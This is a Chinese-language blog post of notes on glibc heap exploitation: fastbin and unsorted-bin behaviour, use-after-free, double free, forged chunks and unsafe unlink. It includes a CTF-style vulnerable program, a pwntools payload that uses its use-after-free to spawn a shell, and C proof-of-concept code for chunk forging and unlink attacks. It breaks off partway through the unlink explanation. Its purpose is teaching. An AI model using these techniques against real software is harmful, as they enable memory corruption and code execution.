Heap Exploitation(笔记)

Posted by nop on 2020-03-17
Words 2.4k In Total

first-fit behavior

释放除了fast chunk之外的chunk时,都会在unsorted bin中结束,在列表的HEAD处插入chunk;请求新的除了fast chunk之外的chunk时,首先在unsorted bin中查找,此时small bin为空,查找来自列表末尾TAIL,如果unsorted bin中存在单个chunk,则不会进行精确检查,如果chunk的大小大于或等于请求的块,则将其拆分为两个并返回
对于

1
2
3
4
char *a = malloc(300);    // 0x***010
char *b = malloc(250); // 0x***150
free(a);
a = malloc(250);

unsorted bin 的情况:

  1. free(a): `head -> a -> tail
  2. a=malloc(250): head -> a2 -> tail['a1'被返回]

Alt
Alt

‘a’ 被分成两块,’a1’和’a2’,因为请求大小小于a的大小

fast chunk中,fast chunk 最终进入 fast bins 而不是到 unsorted bin。此外,fast bin 遵循 LIFO原则
对于

1
2
3
4
5
6
7
8
9
10
11
12
char *a = malloc(20);
char *b = malloc(20);
char *c = malloc(20);
char *d = malloc(20);
free(a);
free(b);
free(c);
free(d);
a = malloc(20);
b = malloc(20);
c = malloc(20);
d = malloc(20);

Alt
Alt
Alt
Alt
Alt
Alt
Alt

fast bin中的情况:

  1. free(a): head -> a -> tail
  2. free(b): head -> b -> a -> tail
  3. free(c): head -> c -> b -> a -> tail
  4. free(d): head -> d-> c ->b -> a -> tail
  5. d=malloc(20): head -> c -> b -> a -> tail
  6. c=malloc(20): head -> b -> a -> tail
  7. b=malloc(20): head -> a -> tail
  8. a=malloc(20): head -> tail

使用较小的大小是为了确保在释放时,chunk进入fast bins 而不是 unsorted bins

Use after Free 漏洞利用(UAF漏洞)

malloc 可能会返回先前使用和释放的chunk,这使得使用释放的内存chunks容易受到攻击。一旦释放了一个chunk,就应该假设攻击者可以控制chunk内的数据,永远不使用释放的chunk,即总是分配一个新的chunk
容易受道攻击的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
char *ch = malloc(20);
// Some operations
// ..
// ..
free(ch);
// Some operations
// ..
// ..
// Attacker can control 'ch'
// This is vulnerable code
// Freed variables should not be used again
if (*ch=='a') {
// do this
}

例,Summoner

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

struct creature {
char *name;
int level;
};

void intro()
{
puts("After you climb over the snow mountain, you encounter an evil summoner!\n");
puts("He summoned \"The Dark Lord\" Level 5! You have to get over his dead body to fight the Demon Dragon, but you can only summon Level 4 creatures!\n");
puts("What's your plan for now???\n");
}

void menu()
{
puts("Available plans:");
puts("\tshow - show your creature and its level");
puts("\tsummon [name] - summon a creature called [name]");
puts("\tlevel-up [level] - level up your creature (below Level 5)");
puts("\tstrike - STRIKE the evil summoner's creature!!!");
puts("\trelease - release your creature");
puts("\tquit - give up and die");
}

int main(int argc, char **argv)
{
char buf[0x200];
char *arg;
uint32_t level;
struct creature *c;

setbuf(stdout, NULL);
intro();
menu();
c = NULL;
while(1) {
printf("\nEnter your command:\n> ");

if(fgets(buf, 0x200, stdin) == NULL)
break;

if (!strncmp(buf, "show", 4)) {
if(c == NULL)
puts("You have no creature now.");
else
printf("Current creature: %s [Level %u]\n", c->name, c->level);
} else if (!strncmp(buf, "summon", 6)) {
if (c != NULL) {
puts("Already have one creature. Release it first.");
continue;
}
arg = strtok(&buf[7], "\n");
if (arg == NULL) {
puts("Invalid command");
continue;
}
c = (struct creature *)malloc(sizeof(struct creature));
if (c == NULL) {
puts("malloc() returned NULL. Out of Memory\n");
exit(-1);
}
c->name = strdup(arg);
printf("Current creature:\"%s\"\n", arg);
} else if(!strncmp(buf, "level-up", 8)) {
if(c == NULL) {
puts("Summon first.");
continue;
}
arg = strtok(&buf[9], "\n");
if (arg == NULL) {
puts("Invalid command");
continue;
}
level = strtoul(arg, NULL, 10);
if (level >= 5) {
puts("Can only level-up to Level 4.");
continue;
}
c->level = level;
printf("Level-up to \"%u\"\n", level);
} else if(!strncmp(buf, "strike", 6)) {
if (c == NULL) {
puts("Summon first.");
continue;
}
if (c->level != 5) {
puts("No, you cannot beat him!");
continue;
}
// system("/bin/cat /pwn/flag");
// 此处修改过原作者的逻辑,用作本地调试,原作者代码:https://github.com/SignorMercurio/Heap-Tutorials/blob/master/first%20fit%20%26%20uaf/Summoner/summoner.c
system("/bin/sh");
} else if(!strncmp(buf, "release", 7)) {
if (c == NULL){
puts("No creature summoned.");
continue;
}
free(c->name);
c = NULL;
puts("Released.");
} else if(!strncmp(buf, "quit", 4)) {
return 0;
} else {
puts("Invalid option");
menu();
}
}
}

编译之后通过ida查看

Alt

如果输入“summon”通过malloc申请一块变量,然后返回到name,而strdup将输入的name拷贝到申请的chunk。
输入“level-up”时,会将输入的值写入到结构体的level

Alt
Alt

输入“release”时则会释放name

Alt

输入“strike”时会调用system,但是前提时level为5

Alt

而正常输入的情况下是不能够使level为5的,但是可以在申请name时通过输入溢出到level处的位置,写入5,然后free掉这块内存,再malloc一块内存,如此一来就可以拿到shell

Alt

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.log_level='DEBUG'

p = process('./summoner')
p.sendline('summon aaaaaaaa'+'\x05')
sleep(1)
p.sendline('release')
sleep(1)
p.sendline('summon a')
#gdb.attach(p)
#pause()
sleep(1)
p.sendline('strike')
sleep(1)
p.interactive()

Alt
Alt

Double Free

多次释放资源可能会导致内存泄漏,分配器(allocator)的数据结构被破坏,可被攻击者利用。为了避免glibc进行“double free or corruption(fasttop)”安全检查,将在两个释放之间释放另一个chunk。这意味着两个不同的’mallocs’将返回相同的块。两个指针都指向相同的内存地址。如果其中一个受攻击者的控制,他可以修改其他指针的内存,导致各种攻击(包括代码执行)

1
2
3
4
5
6
7
8
9
10
11
a = malloc(10);
b = malloc(10);
c = malloc(10);

free(a);
free(b); // To bypass "double free or corruption (fasttop)" check
free(a); // Double Free

d = malloc(10);
e = malloc(10);
f = malloc(10);

fast bin 的情况:

  1. free(a): head -> a ->tail
  2. free(b): head -> b -> a -> tail
  3. free(a): head -> a -> b -> a -> tail
  4. malloc(d): head -> b -> a -> tail; d -> a
  5. malloc(e): head -> a -> tail; e -> b
  6. malloc(f): head -> tail; f -> a

Alt

Forging chunks(伪造chunks)

释放一个chunk后,会将其插入到 bin list中。但是其指针仍然在程序中处于可用状态,如果攻击者控制了这个指针,就可以修改bin中的链表结构并插入他自己伪造的chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct forged_chunk {
size_t prev_size;
size_t size;
struct forged_chunk *fd;
struct forged_chunk *bck;
char buf[10]; // padding
};

// First grab a fast chunk
a = malloc(10);
// Create a forged chunk
struct forged_chunk chunk; // At address 0x7ffc6de96690
chunk.size = 0x20; // This size should fall in the same fastbin
data = (char *)&chunk.fd; // Data starts here for an allocated chunk
strcpy(data, "attacker's data");
// Put the fast chunk back into fastbin
free(a);
// Modify 'fd' pointer of 'a' to point to our forged chunk
*((unsigned long long *)a) = (unsigned long long)&chunk;
// Remove 'a' from HEAD of fastbin
// Our forged chunk will now be at the HEAD of fastbin
malloc(10); // Will return 0x219c010

victim = malloc(10); // Points to 0x7ffc6de966a0
printf("%s\n", victim); // Prints "attacker's data" !!

伪造的chunk的大小参数设置为0x20,以便它通过安全检查“malloc(): memory corruption (fast)”。此安全检查将检查chunk的大小是否落在特定fast bin的范围内。

已分配块的数据从fd指针开始

fast bins中的情况:

  1. free(a): head -> a -> tail
  2. *((unsigned long long *)a) = (unsigned long long)&chunk; : head -> a -> 伪造块 -> undefined(伪造的块的fd实际上会有攻击者的数据)
  3. malloc(10): head -> 伪造的块 -> undefined
  4. victim=malloc(10): head -> undefined

注意:

  • 在同一个bin列表中对fast chunk的另一个’malloc’请求将导致分段错误。
  • 即使我们请求10个字节并将伪造块的大小设置为32(0x20)字节,两者都落在相同的fastbin的32字节chunk的范围内。
  • 以上代码专为64位计算机而设计。为了在32位机器上运行它,替换unsigned long long用unsigned int作为指针现在4个字节,而不是8个字节。此外,不是使用32字节作为伪造chunk的大小,而是大约17字节的一小部分

在unlink MACRO 中添加了两个安全检查(”corrupted size vs. prev_size” and “corrupted double-linked list”),这在一定程度上减少了攻击的影响。
这种攻击利用unlinkMACRO中完成的指针操作,同时从bin中移除一个chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};

int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];

// First grab two chunks (non fast)
chunk1 = malloc(0x80);
chunk2 = malloc(0x80);
printf("%p\n", &chunk1);
printf("%p\n", chunk1);
printf("%p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x80; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("%p\n", chunk1);
printf("%x\n", chunk1[3]);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

return 0;
}

通过malloc得到两个大小为0x80的块确保他们在 small bin 范围内,然后假设攻击者以某种方式对chunk1内容进行无限制控制(比如strcpy用户输入)。两个块都将并排放在内存中,代码中 chunk_structure 使用自定义结构仅处于清晰的目的,在攻击情形中,攻击者只需要发送填写的字节。
在“data”部分创建了一个新的假chunk即 chunk1。在fd和bk指针被调整为通过“corrupted double-linked list”安全检查。攻击者的内容被溢出到chunk2的报头中设置适当prev_size和prev_in_use位。这确保了无论何时chunk2释放,fake_chunk将被检测为“释放”并且将是unlinked,此时各种内存区域状态如下:

Alt

一旦chunk2被释放,它就被当作一个small bin处理。然后会检查前一个和下一个chunk(通过内存)是否“空闲”。(前一个freak chunk为空闲) 如果任何chunk被检测为“空闲”,则unlinked用于合并连续的空闲块。该unlink宏执行的是修改指针以下两条指令:


You are welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them.